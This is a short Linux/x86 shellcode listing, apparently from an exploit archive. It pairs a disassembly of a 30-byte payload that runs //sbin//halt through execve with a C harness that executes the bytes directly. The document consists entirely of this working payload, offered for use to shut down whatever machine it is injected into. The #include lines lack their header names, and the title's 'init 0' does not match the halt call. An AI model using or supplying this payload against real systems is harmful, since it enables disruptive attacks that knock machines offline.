​​Linux/x86 - Shutdown(init 0) - 30 bytes #Greetz : Bomberman(Leader) #Author : B3mB4m 08048060 <.text>: 8048060: 31 c0 8048062: 50 8048063: 68 68 61 6c 74 push $0x746c6168 8048068: 68 69 6e 2f 2f push $0x2f2f6e69 804806d: 68 2f 2f 73 62 push $0x62732f2f 8048072: 89 e3 8048074: 50 8048075: 89 e2 8048077: 53 8048078: 89 e1 804807a: b0 0b ;execve //sbin//halt 804807c: cd 80 syscall #include #include char *diebich = "\x31\xc0\x50\x68\x68\x61\x6c\x74\x68\x69\x6e\x2f\x2f\x68\x2f\x2f\x73\x62\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"; int main(void){ fprintf(stdout,"Length: %d\n",strlen(diebich)); (*(void(*)()) diebich)();}